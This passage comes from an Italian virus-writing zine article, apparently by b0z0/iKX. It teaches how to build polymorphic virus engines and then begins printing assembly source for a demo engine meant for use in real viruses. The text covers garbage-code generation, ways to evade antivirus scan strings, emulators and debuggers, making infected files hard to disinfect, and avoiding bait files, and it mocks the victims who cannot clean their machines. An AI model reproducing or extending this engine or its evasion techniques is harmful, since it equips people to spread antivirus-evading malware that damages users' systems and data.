sceglierne un altro, che ne so, CX, per il contatore. Oppure SI come puntatore. Ovviamente dovremmo prestare attenzione a mantenere da qualche parte una tabella con i registri gia' utilizzati in modo di non cercare di utilizzarne uno per + di una cosa. Inoltre ovviamente non tutti i registri sono adatti per qualsiasi lavoro. Come puntatori ad esempio disponiamo di BX,BP,SI e DI. Come contatori potremmo utilizzare un po' tutti, tranne il SP, dato che il stack pointer non possiamo utilizzarlo a nostro piacimento xche' viene usato per ben altre cose dal sistema, come si spera il lettore sappia ;) Anche in caso utilizzassimo un registro per tenere la chiave di decrittazione potremmo usarne uno qualunque come per il contatore. Quindi, punto secondo: utilizzare, scegliendo a caso ad ogni nuova generazione, tutti i registri disponibili o cmq il maggior numero di questi. E vedete che gia' adesso i possibili decryptors sono diventati ben molti di piu' :) Ma non basta... le mutazioni sono cmq ancora ridotte. Il terzo passo e' quello di individuare il maggior numero di operazioni che svolgano un dato compito. Un esempio molto vario e' il check se un registro e' uguale a zero. Nell'esempio prima abbiamo fatto un banalissimo cmp ax,0. Ma in verita' potremmo aver fatto: or ax,ax o and ax,ax o xor ax,0 o add ax,0 o or ax,0 o qualcos'altro ancora Tutti i comandi non modificano il registro AX (un po' di logica la conoscete, vero? :P ) ma in compenso ci settano il flag Z (zero) solo quando il registro AX sara' uguale a zero, quindi quello che cercavamo. Nello stesso modo l' add di,2 puo' essere diviso in due inc di, o in due add di,1 o in un inc di e in add di,1. Un assegnazione ad un registro di 16 bit puo' essere trasformata in due assegnazioni da 8 bit per certi registri. Le possibilita' di fare una data operazione in un gran numero di modi diversi sono veramente molte. Lo spezzettare certe operazioni in un dato maggiore numero di operazioni + semplici dara' anche la possibilita' di fare + mutamenti nell' ordine di queste (punto due sopra). Quindi, terzo punto fondamentale, generare una data operazione nel maggior numero di modi possibili. Oltre a questi punti, indubbiamente il piu' interessante e' il poter cambiare proprio dal punto di vista funzionale i decryptors. Per esempio invece di usare la chiave fissa come sopra si puo' decrittare usando un registro. Quindi magari sopra metteremmo un xor [di],dx e ovviamente prima dovremmo settare il registro necessario. Avendo la chiave in un registro ci viene estremamente semplice aggiungere un istruzione che magari modifichi la chiave ad ogni loop. Volendo, invece di usare semplicemente un registro come puntatore possiamo usarne due, ad esempio uno fisso + uno come offset (es. add [di+bx],1010h). O usare un registro come puntatore da cambiare e aggiungendogli un offset fisso come immediato (es. sub [di+200h],bx). Si potrebbe anche caricare il byte da decrittare nel registro (con un lodsb ad esempio se DS:SI punta al byte voluto), decrittarlo nel registro (xor al,10h) e poi rimetterlo al suo posto. Si potrebbe anche aggiungere semplicemente una seconda operazione nell'algoritmo di crittazione, bo, ruotare ogni word di 1 a sinistra (un rol [si],1], ovviamente avremmo dovuto ruotarlo prima uno a destra all' encryption :) ). Le possibilita' qui sono veramente infinite, e l'efficacia e la completezza di un motore polimorfo sta proprio nel riuscire a generare il maggior numero di decryptors possibili, stando sempre attenti pero' a non generare delle cose che potrebbero essere usate come scan string! Infatti non ha ALCUN senso mettere ad esempio sempre 10 istruzioni di decrittazione stabili, dato che queste essendo abbastanza lunghe in genere potrebbero essere poi alla fin fine usate solo come stringa per la ricerca (e poi inoltre, fare 10 XOR di fila sullo stesso dato alla fin fine e come farne uno XORando i 10 operandi :) ). Ovviamente in base al decryptor che viene generato dovremo adattare l'algoritmo di crittazione o viceversa. Generare garbage: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Bene, a questo punto bene o male l'idea del funzionamento e di come scrivere un decryptor e generarne un numero elevato di istruzioni dovrebbe essere chiara. Comunque indubbiamente non potremo accontentarci di questo, dato che comunque alcuni antivirus potrebbero comunque scovarli (sul come + tardi) sebbene magari le varianti siano decine di migliaia o comunque una persona (che si suppone abbia un cervello, quindi non un utente tipico wind0ze ;) ) con un debugger trovandosi davanti un certo pezzo di codice si insospettirebbe subito. Il codice come descritto sopra infatti e' abbastanza strano e sicuramente non capita tutti i giorni di inciampare in un tal pezzo di codice in un programma normale. Per ovviare a questi inconvenienti vengono create tra un pezzo e l'altro del decryptor un po' di istruzioni valide che pero' non disturbano in alcun modo il funzionamento del decryptor vero e proprio (quindi non alterano registri, flag o altre cose necessarie al decryptor vero e proprio) e ovviamente non devono fare cose strane che insospettiscano l'utente. Come istruzioni di garbage potete usare un po' qualsiasi cosa: operazioni matematiche, operazioni logiche, spostamenti, salti, push/pop, chiamate a finte procedure, comparazioni di registri, lettura di dati in memoria, scrittura di dati in memoria, chiamate ad interrupt, casini vari... :) Ovviamente maggiori sono le possibili istruzioni che il motore puo' generare, migliore e' il motore (non ve lo aspettavate, eh? ;) ). E' importante pero' notare che, oltre ad essere il + numerose possibile, e' preferibile che il motore generi istruzioni che potrebbero sono poi effetivamente usate nei programmi normali. Non e' una buona idea ad esempio generare istruzioni come un JP o fare un numero elevato a delle chiamate a funzioni di interrupt mai usati. Comunque, in linea di base, maggiore e' il numero di istruzioni generabili, maggiori sono le possibili mutazioni del decryptor. Ovviamente soprattutto per certi tipi di garbage bisogna stare molto attenti. Generare chiamate ad interrupt (soprattutto il 21h e il 13h, cosa che potete anche constatare se guardate un po' di programmi normali) e' una buona idea, ma dovete stare MOLTO attenti ai registri che vengono cambiati da quella chiamata (e' anche ovvio che non potete usare gli int in qualsiasi momento, ad esempio generando codice polimorfo per un boot virus non potrete fare ovviamente chiamate all'int 21h dato che il DOS non e' stato nemmeno ancora caricato :) ). Anche fare dei push o delle chiamate a funzioni (saltando semplicemente in avanti con un CALL o chiamare una vera e propria subroutine generata come garbage) e' un'ottima idea, ma attenti a ripristinare lo stack! Leggere dati in memoria da indirizzi assoluti a caso (es. mov ax,ds:[1010h]) o da registri (es. mov ax,ds:[di]) e' una buona mossa, ma dovete stare attenti di non cercare (per puro caso da come e' stato eseguito il decryptor) di leggere ad esempio dalla posizione FFFFh. Infatti un mov ax,ds:[0FFFFh] generera' degli effetti indubbiamente non voluti :) Quindi prestate grande attenzione quando generate il garbage. Quindi generare istruzioni a caso, cercando cosi' di nascondere il vero decryptor e nello stesso tempo far sembrare il tutto un "vero" programma. Come si comportano gli antivirus: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Purtroppo se vi aspettavate che dopo aver scritto una poly engine relativamente semplice tutti i vostri problemi fossero risolti, beh avrete una grossa delusione :) Sebbene anche un per quanto banale motore polimorfo possa saltare l'uso di semplici scan string fisse da parte degli AVs, al giorno d'oggi ci sono molti modi che gli AVers usano per trovare virus polimorfi. Vediamo uno per uno i vari modi con relative soluzioni :) - Scan string variabili: Beh, questo modo di ricerca e' abbastanza banale e funziona solo con poly + banali. In pratica delle scan string variabili (ad esempio, codice puramente inventato, 10 20 xx 30 xx 30 30 * 10 12 dove con xx si intende un qualsiasi byte, ad esempio una chiave, e con * un dato numero qualsiasi di bytes) che sono sicuramente fisse (e magari anche fisse in certe posizioni). Questo tipo di scan string, che gia' di per se e' inefficente dato che gli AVs devono usare delle scan string abbastanza lunghe per evitare falsi positivi, puo' essere semplicemente evitata creando decryptors che non hanno sequenze prestabilite e creando un gran numero di variazioni, cosicche' l'unico modo per gli AV per applicare questo metodo alla vostra poly sarebbe quello di inserire migliaia di scan string, cosa impossibile. - Crittoanalisi: In questo caso l'AV potrebbe cercare di trovare una parte conosciuta del virus crittato e cercare di decrittarla basandosi sulla conoscenza dell' algoritmo usato. Questo puo' essere semplicemenete evitato creando piu' livelli di crittazione, quindi creando un encryptor (che usa un dato algoritmo scelto a caso su un dato tipo di dati scelto a caso, es. xor su words) che, oltre a crittare il corpo del virus critta anche un secondo decryptor che usa algoritmo e tipo di dato a caso (es. rol su dword) e magari a sua volta un terzo e cosi' via. Questo creare piu' livelli di crittazione (+ layers) e' indubbiamente il modo migliore e' + forte, volendo si potrebbe anche immettere + istruzioni di crittazione direttamente in un solo loop. Si puo' anche usare semplicemente un tipo di crittazione cambiandone spesso la chiave in qualche modo. In questo modo avendo molti algoritmi applicati su tipi di dati diversi, la crittoanalisi diventa inutilizzabile (questo modo cmq non e' utilizzato in pratica dai maggiori antivirus, ma di solito + di antivirus specifici). - Analisi algoritmica del codice: Un altro modo per poter scovare un motore polimorfo e l'analisi algoritmica del codice generato dal motore. Questo funziona esclusivamente basandosi sulla conoscenza del codice che il motore puo' generare. L'antivirus analizza nel codice sospetto le istruzioni usate e le confronta con quelle che la poly dovrebbe poter generare. Se viene riscontrata un'istruzione che la poly non dovrebbe poter generare, allora probabilmente il codice sospetto non e' generato dalla poly. In caso compaiano solo istruzioni che quella poly genera, allora la possibilita' che sia codice generato dal motore polimorfo sono maggiori. A questo tipo di ricerca vengono aggiunti ancora dei check aggiuntivi (tipo la tipica lunghezza dei decryptor generati con quel motore o alcuni pezzettini stabili nel decryptor) o abbinati a scansioni del primo o del secondo tipo per poter cosi' affermare con una certa credibilita' la presenza di un dato motore polimorfo. Per saltare questo tipo di analisi e' necessario generare molti tipi di garbage (cosi' non avrebbe molto senso cercare le istruzioni mancanti, dato che non ne sarebbero molte e probabilmente quelle mancherebbero anche in un prog normale) e creare decryptor molto vari in tipo e in lunghezza. - Emulazione Mentre i tre tipi di scansione bene o male possono essere saltati anche da una mediocre poly engine, il vero problema e' l'emulazione degli AV. I migliori antivirus al giorno d'oggi infatti per cercare virus polimorfi conosciuti ma anche virus (polimorfi e non) sconosciuti, si affidano all' emulazione del codice da controllare. Il codice del programma sospetto viene eseguito istruzione per istruzione in una specie di virtual machine isolata dell'antivirus. In questo modo il decryptor (o cmq un qualunque pezzo di codice) viene eseguito solo sotto sicurezza e qui l'antivirus puo' poi analizzarne gli effetti e alla fin fine eseguire tutto il decryptor ed ottenere cosi' la copia decrittata del virus. A questo punto, eseguito il decryptor, l'antivirus puo' usare il vecchio metodo di ricerca di scan strings sul corpo decrittato. E' chiaro che, essendo l'emulazione fatta tutta via software in una "macchina" isolata, dipende dalla persona che l'ha scritta quanto e che istruzioni emulera'. In generale quasi tutte le istruzioni su/tra registri, immediati e cose del genere vengono emulati e i risultati tenuti da parte. Vengono emulati anche i risultati di alcune chiamate a interrupts, le letture dalla memoria di solito sono semplicemente ignorate se sono lontano dall'attuale posizione del IP mentre vengono registrate se sembrano nei pressi del punto di esecuzione, mentre vengono registrate tutte le scritture o cmq operazioni che cambiano (potrebbe essere decrittano) la memoria. E' ovvio pero' che non tutti gli emulatori possano emulare qualsiasi cosa del sistema, dato che questo comporterebbe problemi e costi in termini di tempo troppo grossi. Quindi per poter saltare il problema dell'emulazione bisogna usare dei costrutti che fanno uso di cose note del sistema, che pero' si suppone l'emulatore non sia in grado di emulare. Un esempio x rendere meglio l'idea: mov ah,30h ; richiedi dos version int 21h cmp al,03h jae oke ; salta se >= 3 mov ah,4ch ; allora usciamo int 21h oke: . . In questo caso (banale) generiamo una richiesta della versione del DOS. In caso questa sia < di 3, allora e' molto probabile che siamo in un emulatore, dato che e' praticamente impossibile che qualcuno al giorno ne abbia una :) In caso sia >=3 continueremo con il nostro decryptor, se no potremmo simulare un'uscita dal programma (ah=4ch con int 21h). Cosi' l'emulatore incontrando l'uscita pensera' ad un uscita normale del programma. Questo e' solo un esempio abbastanza banale e' gia' usato in + casi, quindi probabilmente almeno certi emulatori non ci cascheranno. Cmq spero di aver reso l'idea, analizzatevi un po' di chiamate a interrupts o cmq cose del sistema che siete sicuri esistano (altro esempio, al PSP:0 c'e' sempre una chiamata all'int 20h, quindi CD20h) o cose che potrebbero far sembrare di essere emulati (scrivete in un posto random, senza fare danni, e rileggete lo stesso byte e vedete se e' stato effetivamente scritto). Chiaramente dovete stare anche MOLTO attenti a non generare pezzi di anti-emulator troppo lunghi e fissi! Se infatti create delle strutture anti-emulator troppo complicate e' pericoloso che appunto queste vengano utilizzate come scan string! Quindi attenzione. Oltre alle strutture anti-emulator bisogna notare che ovviamente gli emulatori ad un certo punto si fermano. Sicuramente non emuleranno codice all'infinito e fino ad un punto di sicura uscita, dato che questo potrebbe significare perdere tempo enorme. Quindi un altro modo molto buono per sfuggire agli antiemulator (nonche' agli altri metodi in genere) e' quello di generare decryptor molto lunghi. Quando dico molto lunghi, intendo anche fino a 15kb. Potrebbe sembrare assurdo, ma non lo e' :) Al giorno d'oggi, con le macchine che la persona-tipo (il lamer tipo che si prendera' il virus insomma :) ) eseguire qualche migliaio di istruzioni non fa perdere molto tempo, dato che non facciamo operazioni che necessitano accesso a dischi o cose del genere, che invece farebbero perdere tempo. Per un utente medio aumentare il tempo di carica di un programma di anche di 2-3 secondi non rappresenta un problema. Mentre per un antivirus si, dato che, di solito, l'emulazione non va piu' in la di 3-4kb negli antivirus + usati. E' chiaro che per poter fare decryptor molto lunghi e' anche necessario disporre di un generatore di codice garbage molto buono, se no ci ritroveremo con centinaia di istruzioni quasi uguali in sequenza e questo insospettira' ogni AV decente. Beh, queste sono solo alcune buone idee da mettere in pratica, di modi poi ce ne sono anche altri, basta avere un po' di fantasia ;) - Esecuzione passo-passo Un altro modo che ormai pochissimi antivirus generici usano, ma che puo' essere usato da un antivirus specifico (o da una persona in carne ed ossa) e' quello di eseguire il virus passo-passo sulla macchina. Spero sia chiaro che qui non si parla di eseguire il codice in una macchina virtuale a parte, ma di eseguire -veramente- il codice passo-passo, di solito usando la solita tecnica con l'int 01h. Beh, per fregare questi si puo' mettere nel codice generato qualche solito trucchetto + o - complesso di antidebugging (cambio di istruzioni che sono gia' state prefetchate, sputtanamento dei vettori dell'int 1h...) Beh, questi sono un po' i metodi usati attualmente e nel passato vicino. Indubbiamente, come gia' detto, la parte piu' pericolosa e alla quale dobbiamo prestare maggiore attenzione e' l'emulazione del codice da parte dell'antivirus. Infatti oltre a poter trovare virus non ancora esattamente riconosciuti, un buon emulatore puo' anche decrittare il virus e quindi avere la possiblita' di disinfettare il file infetto. Questo NON deve succedere :) Per questo e' importante creare apposite strutture antiemulator e creare lunghissimi decryptors. Un motore polimorfo (o meglio un motore polimorfo che puo' essere propriamente chiamato cosi' :) ) in genere occupa circa 1-4kb di codice, che sono rispettivamente + o - il 30-80% della lunghezza dell'intero virus. Quindi non sprecate tutto quello spazio per nulla! :P Anche se l'antivirus un giorno dovesse essere in grado di trovare il vostro motore polimorfo, per un motivo o per l'altro (magari anche xche' hanno messo un algoritmo del cacchio per trovarlo che poi non trova neanche tutte le possibili generazioni), fate almeno in modo che sia estremamente difficile la disinfezione. Crittate anche in + modi i dati originali del file infetto che avete salvato, o in qualche parte strana, fate un po' voi. Credo sia veramente molto divertente sapere che qualche utente scassa le palle agli AV xche' il suo antivirus individua il virus ma non puo' togliere, quindi o cancella tutto o ci convive, hehehe :)) Consigli e cose alle quali prestare attenzione: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Piu' o meno adesso credo che l'idea del funzionamento e almeno una mezza idea di come scrivere un motore polimorfo dovreste averla. Date un'occhiata al piccolo motore polimorfo di esempio per qualcosa di piu' pratico. Prima di lasciarvi vorrei ancora aggiungere un po' di cose alle quali stare attenti quando vi inoltrerete nella scrittura di una poly: - Prefetch. Attenti al prefetch del processore sia quando generate il decryptor che quando generate l'encryptor interno al vostro codice. Sui processori + recenti purtroppo non e' + tanto banale annullare il prefetch (di solito si usava un jmp anche con salto lungo 0 e la prefetch queue veniva annullata) quindi nell'encryptor attenti a non cambiarvi le istruzioni mettete sotto il naso, mentre nel decryptor attenti soprattutto a non mettere troppo vicini l'uscita del decryptor (il cmp finale insomma) con la parte che state decrittando. Molti nello scrivere un decryption loop hanno l'idea (che in teoria non e' poi neanche malvagia) di crittare appunto anche una parte del loop, ma c'e' il rischio di cadere in grossi prob con il processore. Semmai nei punti rischiosi abbondate con il garbage :) - Segmenti usati. Oltre ovviamente a dover essere sicuri che i segmenti da voi usati puntino effetivamente dove voi volete (e quindi semmai dovrete inizializzarli nella prima fase), dovete stare attenti a cosa fate quando non forzate implicitamente il segmento. Infatti le operazioni con tutti i puntatori si riferiscono a DS tranne per BP che invece si riferisce allo stack segment, quindi SS! Quindi mentre xor [di],1010h ; 81 35 10 10 xor ds:[di],1010h ; 3E 81 35 10 10 hanno cmq lo stesso effetto, questo non vale per xor [bp],1010h ; 81 76 00 10 10 xor ds:[bp],1010h ; 3E 81 76 00 10 10 dato che il BP lavora sempre con SS per default. Quindi attenzione quando non forzate il segmento. Dall'esempio poi si nota un'altra cosa: le opcodes per BP sono tutte un po' particolari e quando questo viene usato come puntatore il codice generato e' + lungo e contiene un byte 00 prima del operando. Ma di questo magari ve ne sareste cmq accorti dopo aver porconato a lungo sul xche' il codice non funziona :) Ma e' solo x BP, quindi ormai siete preparati a qualsiasi cosa... - Generazione sequenze random. Per gran parte delle decisioni in un motore polimorfo dovrete affidarvi a un qualche modo per generare sequenze di numeri casuali. Indubbiamente il + banale e' proprio quello di prendere il numero del timer (in al,40h), ma questo e' solo un numero che sembra casuale. Un generatore di numeri casuali balordo dara' minore mutabilita' alla vostra poly e ne rendera' l'analisi + facile. Quindi spendete magari un po' di codice in + e prendetevi un buono (o almeno mediocre :) ) generatore di numeri casuali. - Ottimizzazione del codice. Benche' indubbiamente un codice chiaro e ottimizzato fino all'ultimo byte sia segno di un buon coding, quando si scrive una buona poly l'importante non e' tanto risparmiare una decina di bytes su 2-3kb, ma farla effettivamente funzionante! Principalmente ci sono due stili di scrittura di poly (che personalmente reputo ugualmente validi, quindi li uso un po' come ne ho voglia :) ) dove il primo fa rigoroso uso di tabelle e tabelline di opcodes, mentre il secondo e' molto + ingarbugliato e non fa uso delle tabelle, ma crea codice direttamente al volo. Dipende un po' dal virus writer quanto poi effetivamente si riesca a migliorare e a compattare il codice in base all'uso di uno dei due metodi. Piu' che altro e' fatto di gusti. Quello che e' sicuro e' che un buon studio e pianificazione del modo di lavorare prima di cominciare a buttare giu' codice e' -necessario- per fare un buon lavoro (basta farlo nella vostra testa, non c'e' bisogno di coglionate tipo flowcharts o relazioni, quelle lasciatele alle amoebe che sicuramente conoscete :) ). Quando generate codice indubbiamente dovrete anche avere spazio dove crearlo e cmq un bel po' di variabili temporanee da usare. Ovviamente non ha senso mettere anche tutto questo poi nel file, ma usatelo solo in memoria e solo quando ne avete bisogno (quindi magari allocate mem solo quando necessario se ve ne serve molta). - Polimorfismo lento. Un altra cosa carina da poter implementare nel vostro motore e' il polimorfismo lento, ovvero generare i numeri casuali in base ad un dato che cambia abbastanza lentamente (vedi data o ora). In questo modo, sebbene i decryptor generati in tempi brevi sembrerebbero pressoche' uguali, gli AVs nella foga di aggiungere il vostro virus al loro database potrebbero non notare tutte le cose che la vostra poly effetivamente fa (infatti non crediate che gli AV si mettano a disassemblare la poly x filo e per segno, ma in genere generano moltissimi file infetti e da partendo da quelli poi applicano le varie tecniche citate sopra... beh, certo, se poi pubblicate il source della poly in una zine questo il discorso perde un po' il senso :)) ). - Antibait, ovvero anti-cavia. Nelle routine di infection del vostro virus prestate attenzione a non infettare files sospetti che potrebbero sembrare delle cavie fatte apposta per far riprodurre un gran numero di generazioni del vostro motore polimorfo. Alcuni consigli: non infettate troppi files in tempi brevissimi, non infettate files che sono divisibili per 512 o 1024, non infettate files con numeri nel nome (molto improbabile in files normali), non infettate files creati molto di recente, etc.etc... per parlare di tutto questo ci vorrebbe semmai un altro articolino :) Piu' o meno credo che x la parte teorica dovrebbe bastare... ultimo consiglio che in genere vale x il virusing in generale e non solo x le poly: datevi da fare e non demoralizzatevi al primo prob! La VX scene necessita anche di nuove xsone che la ravvivino :) Bibis, b0z0/iKX Codice di esempio: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; [DPE] - Demo Poly Engine (basata sulla SPWM) ; di b0z0/iKX, Luglio 1998 ; ; Questa e' una poly engine molto semplice, scritta per dare ai lettori ; di BFI anche un esempio pratico di scrittura di una poly engine. Il codice ; e' ampiamente commentato, soprattutto tra le varie parti che sono state anche ; piu' profondamente descritte nell'articolo teorico. Ho cercato di mantenere ; almeno certe parti il piu' chiare possibili, ma se ci fossero problemi di ; comprensione o comunque domande/richieste potete sempre contattarmi su IRC ; (#softpj o su uno dei soliti #virus) o in qualche altro modo. ; Essendo questa solo una poly di esempio, e' ovvio che essa manca di ; moltissime cose che una vera poly dovrebbe avere. Ma, ripeto, e' stata ; scritta per introdurre un po' chiunque nel fantastico mondo del ; polimorfismo :) ; Principalmente la DPE crea decryptors abbastanza corti, i registri usati ; come puntatori possono essere BX, SI e DI, mentre come counter e pointer ; puo' essere utilizzato qualsiasi registro tranne l'AX (e lo SP ovviamente). ; La crittazione puo' avvenire usando un SUB, ADD, XOR con chiave fissa o ; con chiave modificata ad ogni ciclo del loop (la modifica avviene con ; un SUB, ADD o XOR con un immediato a 16 bit). ; Le varianti per i costrutti del decryptor sono abbastanza contenute, cmq ; l'ordine di queste e' totalmente random (quando possibile :) ). ; Anche la generazione di garbage e' abbastanza contenuta ed e' principalmente ; creata usando una tabella di riferimento. E' presente anche la generazione ; di un paio di chiamate ad interrupt cosi' potete farvi un'idea. ; Attenzione, la decrittazione in questa poly d'esempio viene sempre fatta ; in rapporto a DS! Quindi se volete usarla in qualcosa di vostro o siete ; sicuri che DS=CS (ad esempio nei COM files) o dovete aggiunge in basso ; una forzatura al segmento CS (cmq mettero' tra i commenti questa cosa) ; o generare codice random che setti DS=CS. ; Semmai generate un po' di files di esempio del motore polimorfo (con il ; programmino incluso) e vedete un po' i risultati :) ; ; Spero che il codice sia abbastanza chiaro per la sua comprensione, dato che ; questo era stato propriamente il suo scopo :) Un miglior esempio di motore ; polimorfo (ma anche molto meno chiaro direi, quindi inanzitutto cercate di ; analizzare bene questo :P) puo' essere trovato nelle poly engines SMPE 0.3 ; o RTP 0.1b (possono essere trovate tutte e due in Xine#3). ; ; La DPE viene chaiamata semplicemente setuppando i parametri come descritto ; sotto e chiamandola con un banale 'call poly'. ; ; Parametri di ingresso: ; DS:DI = Puntatore alla zona di memoria dove mettere il risultato ; DS:SI = Puntatore al codice da crittare ; BP = Offset al quale questo codice verra' eseguito ; CX = Numero di bytes da crittare ; ; Uscite fornite: ; DS:DX = Pointer al codice generato ; CX = Lunghezza del codice (decr + codice crittato) generato ; ; poly: push di ; Innanzitutto verranno salvati certi registri che ci serviranno piu' tardi ; nel corso della scrittura del decryptor. Adesso vengono anche inizializzate ; alcuni pezzi di codice (pezzo di cambio chiave) e zone di memoria (lista ; delle operazioni gia' eseguite) che vengono cambiate dalla poly engine ad ; ogni esecuzione mov word ptr ds:[lenght],cx mov word ptr ds:[given_si],si xor ax,ax mov word ptr ds:[change_key],ax mov word ptr ds:[change_key+2],ax mov word ptr ds:[change_key+4],ax dec ax mov word ptr ds:[already_pnt],ax mov byte ptr ds:[already_pnt+2],al mov ax,9090h ; un po' di nops :) mov word ptr ds:[modify_key],ax mov word ptr ds:[modify_key+2],ax mov word ptr ds:[pre_chk],ax mov word ptr ds:[pre_chk+2],ax ; Nel seguente loop do_pnt_cnt verranno create in sequenza random le sequenze ; di inizializzazione di e precisamente: ; -) inizializzazione counter ; -) inizializzazione pointer su codice da decrittare ; -) inizializzazione chiave (opzionale) mov cx,03h ; tre operazioni da creare do_pnt_cnt: mov si,offset already_pnt mov bx,si call sorta_random ; genera numero random and al,011b cmp al,011b ; ci interessano solo 3 pox, je do_pnt_cnt ; quindi da 0 a 2 xor ah,ah add si,ax cmp byte ptr ds:[si],0ffh ; abbiamo gia' eseguito questa jne do_pnt_cnt ; operazione? push si shl al,1 ; *2, dato che ogni offset e' ; una word add ax,offset init_offs ; usa la tabella con gli offset mov si,ax ; alle tre routines desiderata mov ax,word ptr ds:[si] pop si call ax ; chiama la routine next_inits: call random_garbage ; tra l'una e l'altra garbage loop do_pnt_cnt ; Adesso la parte di inizializzazione dei registri per il loop e' pronta ; Quindi da qui in avanti sara' creato il loop di decrittazione mov word ptr ds:[decr_begin],di ; segnala inizio loop call random_garbage ; Nel seguente loop incdec_pntcnt dobbiamo eseguire le 6 operazioni necessarie ; nel decryption loop e piu' precisamente: ; -) Incrementare il pointer alla prossima word (Incrementiamo di uno 2 volte) ; -) Decrementare il counter di due (Decrementiamo di uno 2 volte) ; -) Cambiare la chiave di crittazione (se la chiave e' usata) ; -) Eseguire l'operazione matematica di decrittazione ; Le operazioni vengono svolte in ordine casuale. L'ordine di certe operazioni ; (l'incremento del pointer e il cambio della chiave) pero' influenza certe ; altre (operazione matematica di decrittazione) e percio' dovremo fare ; attenzione proprio a questo in certi casi. mov cx,06 incdec_pntcnt: mov si,offset change_key call sorta_random_07 and al,11b add si,ax cmp byte ptr ds:[si],02 ; gia' fatte due di queste? je incdec_pntcnt inc byte ptr ds:[si] push si shl al,1 add ax,offset loop_offs mov si,ax mov ax,word ptr ds:[si] pop si call ax next_loop: call random_garbage loop incdec_pntcnt ; Il contenuto del loop di decrittazione e' stato creato. Adesso dobbiamo ; ancora fare il check finale se la decrittazione e' finita e in base al ; risultato uscire dal loop o rientrarci. ; get_cntrchk crea una delle possibili istruzioni che ci permettono di ; controllare se il contatore e' uguale a zero, quindi se la decrittazione ; e' finita get_cntrchk: call sorta_random_07 ; cinque tipi in tutto cmp al,04 ja get_cntrchk mov si,offset cntr_checks ; sulla tabella delle possibili add si,ax ; variazioni + offset rnd mov ah,byte ptr ds:[si] mov al,083h ; prefisso fisso x quel tipo ; di opcodes add ah,byte ptr ds:[already_cnt] stosw ; aggiungiamo i bit in base ; al counter e mettiamo in al,40h mov cl,al ; possiamo fare il check xor al,al ; sia considerando lo 0 ror cl,1 ; come byte o come word jnc with_byte sub byte ptr ds:[di-2],02h ; se con word allora cambia ; il byte di prefisso in 81h stosb with_byte: stosb ; Crea il jump zero corto che salta il jump lungo che invece salta al loop ; del decryptor mov ax,0374h stosw ; Crea il jump che salta di nuovo all'inizio del loop di decryption mov al,0e9h ; jump long stosb mov ax,di sub ax,word ptr ds:[decr_begin] inc ax ; calcola offset all'inizio inc ax ; del loop di decrittazione neg ax stosw ; A questo punto tutto quanto e' pronto. Aggiungeremo ancora un po' di ; istruzioni garbage con tutti i registri per migliorare l'effetto xor ax,ax dec ax mov word ptr ds:[already_pnt],ax mov word ptr ds:[already_pnt+2],ax call random_garbage mov bx,0fh call garbage ; un po' + di garbage x evitare call random_garbage ; problemi di prefetch mov ax,di sub ax,bp mov si,word ptr ds:[pointer_ass] mov word ptr ds:[si],ax ; finiamo l'inizializzazione ; del pointer al codice ; crittato ; Da qui in avanti tutto quello che viene messo su DS:DI sara' crittato, ; infatti il pointer e' appena stato assegnato sopra push di call random_garbage ; Anche un po' di garbage pop ax ; crittata mov cx,di ; quanti bytes di garbage sub cx,ax ; crittata push cx mov si,word ptr ds:[counter_ass] mov dx,word ptr ds:[si] ; aggiorniamo il counter push dx ; anche con la garbage crittata add dx,cx inc dx and dl,0feh ; teniamo sempre pari dato mov word ptr ds:[si],dx ; che crittiamo words senza pop cx ; fare troppi check ; DX ha adesso la lunghezza del decryptor + encrypted garbage + encrypted body mov si,word ptr ds:[given_si] push di rep movsb ; copiamo quello che si vuole pop di ; crittare (ricevuto in input pop ax ; come DS:SI) sub di,ax ; E infine ci apprestiamo a crittare il tutto. I primi due test sono fatti ; per vedere se dobbiamo correggere il puntatore o la chiave in base alla ; sequenza nella quale sono state generate le istruzioni nell'encryption ; loop. ; Dopodiche' verra' eseguito il loop di crittazione, dove ovviamente le ; istruzioni attuali verranno rimpiazzate con quelle scelte e generate nel ; corso dell'esecuzione del motore polimorfo. xor ah,ah mov al,byte ptr ds:[pnt_sba] add di,ax mov cx,word ptr ds:[initial_key] dec byte ptr ds:[pre_kdn] jnz encrypt_loop pre_chk db 90h,90h,90h,90h ; spazio per il cambio chiave ; iniziale encrypt_loop: db 31h,0dh ; xor [di],cx modify_key: db 90h,90h,90h,90h ; spazio per il cambio chiave inc di dec dx inc di dec dx or dx,dx jnz encrypt_loop mov cx,di pop dx sub cx,dx ; lunghezza totale ret ; basta, si torna a casa :) ; tabella con possibili istruzioni per la crittazioni (ADD,XOR,SUB) e relativa ; istruzione per la decrittazione (SUB,XOR,ADD) mathadds db 01h,29h db 31h,31h db 29h,01h ; Possibili modi per controllare che il contatore sia 0 (cmp,xor,or,sub,add) cntr_checks db 0c0h,0c8h,0e8h,0f0h,0f8h ; Tabella con gli offset per le tre operazioni di inizializzazione pre-loop init_offs dw offset do_pointer dw offset do_counter dw offset do_setkey ; Tabella con gli offset per le operazioni del loop loop_offs dw offset do_changekey dw offset dec_cnt dw offset inc_pnt dw do_mathop poly_marker_ver db 0,'-[DPE]-',0 ; do_pointer crea l'istruzione per l'inizializzazione del puntatore al ; codice crittato do_pointer: call sorta_random_07 cmp al,byte ptr ds:[bx+2] ; non lo stesso usato x la key je do_pointer cmp al,byte ptr ds:[bx+1] ; non lo stesso usato x il cntr je do_pointer cmp al,03 ; BX potrebbe essere ok je ok_selected cmp al,6 ; non SP e BP, ma solo >, cioe' jb do_pointer ; SI e DI ok_selected: mov byte ptr ds:[si],al ; Salva registro usato + add al,0b8h ; base di MOV reg16,imm stosb mov word ptr ds:[bx-8],di ; salviamo la posizione dell' stosw ; assegnazione del pointer ; per aggiornarlo dopo ret ; do_counter crea l'inizializzazione del registro che fungera' da counter do_counter: call sorta_random_07 cmp al,04h ; no SP je do_counter or al,al ; Non usare AX jz do_counter cmp al,byte ptr ds:[bx] ; Non usare lo stesso del pntr je do_counter cmp al,byte ptr ds:[bx+2] ; Non usare lo stesso della key je do_counter mov byte ptr ds:[si],al ; Salva registro usato + add al,0b8h ; base di un MOV reg16,imm stosb not_zeromore: call sorta_random_07 ; Critteremo un po' di piu' or al,al ; del dovuto per dare maggior jz not_zeromore ; 